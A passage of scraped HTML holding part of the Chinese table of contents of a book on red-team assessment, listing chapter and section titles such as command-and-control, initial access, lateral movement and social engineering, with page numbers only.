style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">第2章　红队评估导论  14</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.1　什么是红队评估  14</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.2　红队评估的重要性  15</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.2.1　识别关键漏洞  15</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.2.2　质疑假设  15</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.2.3　模拟特定行业威胁  16</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.3　红队框架与方法论  16</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.3.1　MITRE ATT&amp;CK框架  16</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.3.2　统一击杀链  17</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.3.3　TIBER-EU  17</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.3.4　CBEST  18</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.4　红队评估  18</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.4.1　全范围渗透测试  19</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.4.2　目标导向型评估  19</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.4.3　基于场景的对抗模拟  20</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.4.4　紫队  20</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.4.5　桌面推演  21</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.5　红队挑战  21</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.5.1　提升其他团队水平  21</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.5.2　失败也是收获  22</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.6　参考文献  23</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.7　技能测试  24</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">第3章　红队基础设施  25</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">3.1　红队基础设施概述  26</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">3.2　命令与控制  26</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">3.2.1　命令与控制通信信道  27</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">3.2.2　重定向器  28</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">3.2.3　命令与控制系统搭建  29</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">3.3　技能测试  46</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">第4章　现代红队方法论与工具  47</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.1　规划  47</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.1.1　交战规则  48</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.1.2　启动会议  48</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.1.3　沟通  48</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.2　信息收集  48</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.2.1　自治系统编号  48</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.2.2　证书透明度  49</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.2.3　流量代理  49</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.2.4　域名服务  53</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.2.5　元数据  60</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.2.6　用户名收集  60</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.2.7　软件发现  62</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.2.8　数据泄露  62</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.3　初始访问  63</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.3.1　密码喷洒攻击  63</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.3.2　移动设备管理  68</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.3.3　社会工程学与物理访问  69</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.3.4　攻击载荷准备  69</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.3.5　Web应用程序漏洞  75</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.4　持久化  75</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.5　横向移动  76</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.5.1　获取凭证  77</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.5.2　收集域信息  77</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.5.3　Kerberos票据破解  79</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.5.4　活动目录证书服务  80</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.5.5　SCCM滥用  83</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.6　后渗透  84</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.7　报告编写  84</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4.8　技能测试  85</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">第5章　社会工程学和物理安全评估  87</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.1　电话社工：拨打电话并欺骗你的</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">目标  88</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.1.1　信息收集  88</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.1.2　电话社工  89</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.1.3　攻击目标  90</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.2　鱼叉式网络钓鱼：是时候收网了  91</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.2.1　基础设施  92</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.2.2　钓鱼邮件/即时消息的构建</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">要点  103</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5.2.3　攻击目标  104</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 